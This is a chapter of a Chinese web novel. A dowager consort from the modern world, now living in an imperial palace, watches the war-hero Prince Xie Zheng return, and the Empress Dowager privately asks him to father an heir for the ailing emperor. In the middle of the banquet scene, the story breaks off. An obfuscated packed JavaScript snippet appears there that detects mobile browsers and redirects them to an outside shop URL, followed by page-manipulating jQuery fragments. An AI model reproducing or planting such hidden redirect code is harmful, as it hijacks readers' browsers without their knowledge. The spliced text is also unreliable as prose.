腊月初，雪从后半夜就开始下，到清晨，窗沿已经积了厚厚一层。
佛堂内，沈青漪跪在蒲团上，双手合十，眼眸紧闭。
佛龛上的观音慈眉善目，炉里三炷线香燃得平稳，青烟笔直往上，到殿梁那里，才慢慢散开。
“……若见诸相非相，则见如来。”
她念经的声音不高，缓缓的，匀匀的，每个字都咬得清楚。
晨光透过窗纸洒入，落在她月白衣襟上，也落在她低垂的睫毛上。
鸦青眼睫纤长浓密，偶尔轻颤一下，像停在花上的蝶翅。
廊下脚步窸窸窣窣，到窗前停住了。
声音嫩生生的，估摸才留头不久的小宫女。
“你看见没？今早天还没亮透，玄武门那边就闹哄哄的。”
“怎么没看见，说是肃王殿下寅时三刻就到了城外，羽林卫特意早开了城门。那么冷的天，兵部、礼部的好几位大人，都亲自去迎了呢！”
屋内，沈青漪声音也没停。
“一切有为法，如梦幻泡影……”
秀云这顿饭做得可真慢，五脏庙在向她抗议，她也只能靠念经转移注意力了。
就是外面有点吵。
不过吵吵也好，听听八卦解解闷，毕竟美强惨男二可是她的心头好。
“哎，你说肃王殿下长什么样？听闻离京那年还不到十五，是京内出了名的美少年，在北境待了十年，天天风吹日晒的，会不会……”小宫女压低声音，后半句含在嘴里，意思却再明白不过。
“呸呸呸！你懂什么！”另一个急了，“我表兄去关外营商，有幸见过肃王殿下，回来念叨了好久，说肃王殿下是他这辈子见过最好看的男子，比画上的神仙还俊。就是眼神有点吓人，被他看一眼，气都不敢喘。”
沈青漪捻佛珠的手指顿了下。
好看又有什么用，爹不亲娘不爱，亲兄弟也不待见，一身赤胆忠心，想要保家卫国，却被朝廷坑了一把，内鬼与外贼里应外合，断粮草拒派援兵，逼得他独守孤城，弹尽粮绝。
“殿下可了不得，十六岁就独自领兵讨伐鞑虏。那年北狄犯边，殿下的大舅舅，镖旗大将军被手下出卖，身殒战场。殿下披着麻衣出征，一路杀到狄王庭，把北狄王三个儿子的脑袋都砍了，挂在旗杆上。”
“哇！”
“后来啊，北狄再不敢大举犯边。都说殿下用兵如神，麾下玄甲军能夜行三百里，雪地奔袭跟走平地似的。去年冬天最冷那阵，有小股狄兵想偷粮道，被殿下带人截住，那一仗打完，雪地红了三里。”
吸气声一阵又一阵。
“这么厉害！”
确实厉害，就是短命。
战到最后，纯靠一股有如神助的意志力杀出重围，最终力竭，孑然倒在了舅舅坟前。
玄甲军也所剩无几，活下来的人还被朝廷遣散，定性为不知节制的好战分子，永不征用。
胜是胜了，结局惨烈。
“何止呢。”女子话里带着与有荣焉的骄傲，“我叔叔在兵部当书办，他说满朝武将，论功勋论威望，没一个比得上肃王殿下。只是殿下常年不在京中，不然—”
“我说你们几个小丫头在聊什么呢，一个比一个声音响，以为我家娘娘脾气好，性子软，不计较，就可以玩忽职守，信不信我把你们发配到后院刷马桶去。”
“秀云姑姑息怒，我们再也不敢了，姑姑别气！”
殿里安静了不少。
只有香火燃着的细响，和窗外落雪声。
沈青漪睁开眼，轻吐出一口浊气。
观音还是那副慈悲相，静静看着她。她看着观音，心里转的却是别的事。
来这也有一年了。
面上，她是每日青灯古佛、为先帝祈福的贞静太后。
实则，有点腻味，想寻乐子，身边的人个个古板乏味，尤以秀云为甚。
吱呀—
“小姐，您也不能太好说话了，该管的时候也得管管，不然随便一个小宫女都能骑您头上。”
秀云小姐姐一开口，沈青漪就如同被套上了紧箍咒，不由自主头疼起来。
“我这还不是惜才，你看你管得多好，她们见了你，就跟老鼠见了猫似的，有你在，我还愁什么。”
沈青漪几句话一夸，秀云撇着的嘴登时翘了上去，边摆盘边叨叨：“那也不能光靠我，要是我不在了，小姐您怎么办？西南那边，您又多了两个弟弟，嫡庶加起来您都有十八个弟弟了，王爷要是把您忘了，不管您了，又该如何是好。”
主子在宫里过得还算顺遂，全仗着西南王嫡长女的身份，要是那边真对主子不闻不问了，往后的日子怕是不会好过。
沈青漪不以为然。
十八个弟弟，无论嫡庶，没一个实心的。
至于乐衷开荒种地的便宜老爹，她更不指望。
种子是多，全是孬的黑的，结一百个子都没用。
沈青漪拿了个包子，啃两口，又招招手把秀云叫到跟前，小声问她：“你说我去跟肃王套近乎，结个盟如何？”
“结结结什么，您是先帝的女人啊！”秀云结巴了。
哪怕还没来得及圆房，先皇就山陵崩了，可这明面上，正正经经的西宫太后，不是闹着玩的。
沈青漪伸手摁了摁秀云鼻子：“想什么呢，我的姐姐，脑子清一清，不要污。”
秀云忙抬手：“小姐轻点，我这鼻梁本就不高，再捏几下真要扁了。”
“不打紧，我再给你拉拔几下就挺了。”
“小姐您正经点，被人听见可不好了。”
只有安分低调，太后和皇帝才会对她们放心，没那么设防。
主仆二人斗了会嘴，沈青漪才算得了趣味，又拿了包子，细嚼慢咽之余，犹在思索。
她这具身体的原主人，纯炮灰的命，不到三十就病死在宫中。
到底意外，或是人为，还有待商榷。
出身是一回事，出路，还得自己谋。
晨起诵经，午后，在秀云的催促下，继续抄经。
“慈宁宫那边的人盯得可紧了，您可不能大意，叫她们拿住把柄，又到太后跟前说三道四，平添几多麻烦。”
“知道了，你去歇一歇，帮我把被子暖暖，我小憩一会就抄，不会叫你为难的。”
沈青漪含混应下，只想离秀云这个小老太太远点，到窗边，正要拉上，手却停住了。
从敞开的一点窗缝看出去，正好能看见佛堂后院通往前朝宫道的那道侧门。
这时候，门外宫道上正过着一队人马。
打头那人骑在一匹通体乌黑的高头大马上，玄色大氅在狂风里翻卷得像振翅的雄鹰。
隔了几十丈，只一眼，沈青漪就觉得压力倍增。
她仿佛嗅到了战场的味道。
混着铁锈和血腥，与安逸享乐的宫闱格格不入。
在那人目光扫过来的瞬间，沈青漪先一步合上窗。
指尖碰到木棂，冰得刺骨。
她回到蒲团前，却没再跪，一动不动地仰望观音像。
香炉里的线香燃尽，最后一点红光灭掉，青烟散在空气里。
“谢峥。”
她呢喃念出这个名字，思绪翻飞。
书里写得太隐晦了，只道太后挑来选去，择了个出身低微的选侍，悄悄摸摸让二人圆房。
男人冷着脸进屋，门从外面锁上。一向冷冽克制的肃王殿下没能忍住，抬起脚就是一下，险些把门板踹倒。
一晚过去，女人羞羞答答，太后召她问什么她都应。
怀没怀上，就另说了。
可惜没能看到结局，沈青漪就成了局中人，且还是比育种工具人多活不了几天的存在。
沈青漪走到佛堂角落，从成堆经书最底下抽出一本《法华经》。
书页空白处有她用米汤写的字，干了就会消失，拿火一烘才显形。
这一年来，她记下了不少东西。
宫里人事变动，太医署对皇帝病情的含糊说辞，太后奖惩了哪些大臣，还有皇后对各妃嫔的管制种种。
她提起笔，在今日的日期旁，用同样的法子写下一行字。
“腊月初七，雪。肃王归京，寅时入城，仪从简。太后于辰时召见礼部尚书、宗正寺卿。”
笔尖顿了顿，又添上一句。
“山雨欲来。”
麟德殿的宴，到了后半程。
谢峥放下酒杯，目光掠过御座上气色不佳的皇帝，掠过一旁浅笑的太后，掠过满殿朱紫公卿千篇一律的恭维谄笑。
看惯了边关的旷野风雪，突然被塞进暖香氤氲的锦绣堆里，只觉得浑身不自在。
“七弟。”皇帝举杯看过来，酒意酩酊，面上泛起不正常的红。
“这十年，辛苦你了，朕敬你一杯。”
谢峥起身：“为国戍边，是臣弟本分。皇兄保重龙体，才是万民之福。”
玉做的酒盏碰在一起，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058629|194944||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当的一声清脆。
男人没使多少力，手中的酒盏稳稳当当，相碰的那一杯却晃晃悠悠，溅了不少酒水出来。
谢铭手抖了下，脸色也泛起了青，勉强扯唇保持面上得体的微笑，一手高举起杯盏仰头饮尽，却不想酒液刺激着干痒的喉头，没能抑制住地呛咳起来，咳得撕心裂肺，整张脸青了又红，红了又转白。
皇后见状，比本人还急，赶忙上前替他抚背。
内侍麻溜递上温水和锦帕，似乎早已习以为常。
太后的脸色也微微变了，唇角的弧度拉了下。
席上众官员也各自敛容，正襟危坐，提起了心眼，一声也不敢多哼。
殿里的丝竹声停了那么一瞬，又在总管太监的示意下重新奏响。
谢峥坐回自己位子上，握着酒杯的手指，稍稍收紧。
方才，皇后为皇帝擦嘴的锦帕上，有暗红血渍。
没想到，十年未见，皇兄的身子骨竟弱成这般，早年叫他跟自己一起习武，他还不肯，说太粗俗，非贵胄所为。
宴到中途，太后以身体不适先退席，众人起身恭送。
太后身边的崔嬷嬷却悄没声息地来找谢峥，低声道：“王爷，太后请您到偏殿说话。”
谢峥情绪不显，低垂着眼眸，到皇帝跟前请示。
皇帝凝着高大俊美的弟弟，内心错综复杂，说不羡慕那是不可能的。
若他有七弟这般精壮的体格，策马引弓，欲与天比肩，那日子定当快活无比。
可如今，就连宠幸妃嫔这等寻常事，他都越发感到力不从心。
老天可真是不公，什么好的都给七弟了。
偏殿里，炭火烧得旺，暖得有些闷。
太后屏退了左右，开口第一句就是：“你也看到了，皇帝那身体，怕是不能有子了。”
窗外风卷着雪，呼呼地响。
殿里静得只能听见炭火噼啪的碎裂声音。
谢峥站如青松笔挺，脸上没什么表情，只是眼底深处，有什么东西一点点结成了冰。
“大统，需你来续。”
太后音量不高，一字一字地，砸在这过分安静的殿内，掷地有声。
谢峥缓缓抬起眼，看着这位养大自己的嫡母。
她依然雍容，高高在上，眼神却锐得像鹰，带着不容商量的决断。
“儿臣不明白。”
他语调平稳：“宗室之中—”
“他们不行。”太后打断，态度转而一变，凤眸隐含泪光，神情恳切地望着男人，“只有你，戍边十年，军功威望都够。由你续血脉，生的孩子过继给你皇兄，是眼下最稳的路。”
谢峥沉默。
很久，他才开口，问了句：“人选定下了？”
太后的眼神闪了闪：“已有考量，不过还需斟酌，这人选务必稳妥，过两日你再来慈宁宫，哀家与你细说。”
没正面答。
谢峥也就没话应。
须臾，太后又软了语调：“你若有中意的，也可告诉我，只要身份不高，后面便于安排，都好说。”
有了孩子，母亲留不留的，不重要了。
谢峥嗯了声算是回应，态度淡淡，行礼告退，转身时，眼底那点温度，也散了。
寒风裹着雪粒子扑在脸上，生生的疼。
男人立于高台上，眉眼无波地环顾这座熟悉却又陌生的皇城。
飞檐，斗拱，玉砌雕栏，全埋在茫茫白雪下。
干净，也冷绝。
忽而，他目光一转，望向宫墙深处某个方向。
那里有座朱红的佛殿。
经过外墙时，他恍惚瞥见一扇支开的窗，窗后好像有个人影。
就一眼，连脸都没看清。
可不知为何，这时候忽然想起来了。
“王爷？”引路的内侍小声唤他。
谢峥收回目光，玄色大氅在风里扬了扬。他踩着雪，长腿一迈就是一大步，往灯火通明的大殿走去。
内侍脚步细碎，喘气声也是哼哧哼哧，跟得有些吃力，但不敢松懈，唯恐人从眼前消失了。
侧殿里，沈青漪已经重新盘腿坐回蒲团，外头时而有人影晃动，却再无小宫女的嬉笑声。
念经的声音低低在空殿里回响。
她却睁着眼，目光清明。
香炉里，新点的三炷线香烟气袅袅。
雪还在下，簌簌的，轻轻的。
明天，或许是个好天气。